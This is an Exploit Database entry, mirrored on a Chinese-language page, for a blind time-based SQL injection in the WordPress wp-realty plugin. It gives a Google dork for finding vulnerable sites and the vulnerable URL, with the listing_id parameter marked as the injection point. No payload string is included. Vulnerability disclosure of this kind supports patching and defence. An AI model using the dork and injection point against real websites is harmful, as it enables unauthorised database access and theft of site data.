WordPress Plugin Realty – Blind SQL Injection

• Exploit Database
• 10 阅读

• 作者： Napsterakos
  日期： 2013-10-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/29021/

•  $$$$$$\$$\ $$\ $$$$$$\
  $$__$$\ $$ |$$ | $$__$$\ 
  $$ /\__|$$ |$$ | $$ /\__|
  $$ |$$$$\ $$$$$$$$ | \$$$$$$\
  $$ |\_$$ |$$__$$ |\____$$\ 
  $$ |$$ |$$ |$$ | $$\ $$ |
  \$$$$$$|$$\ $$ |$$ |$$\\$$$$$$|
   \______/ \__|\__|\__|\__|\______/ 
   
  # Exploit Title: WordPress - wp-realty - MySQL Time Based Injection
  # Google Dork: inurl:"/wp-content/plugins/wp-realty/"
  # Vendor: http://wprealty.org/
  # Date: 10/08/2013
  # Exploit Author: Napsterakos
  
  
  Link: http://localhost/wordpress/wp-content/plugins/wp-realty/
  
  Exploit: http://localhost/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi]
  
  
  Credits to: Greek Hacking Scene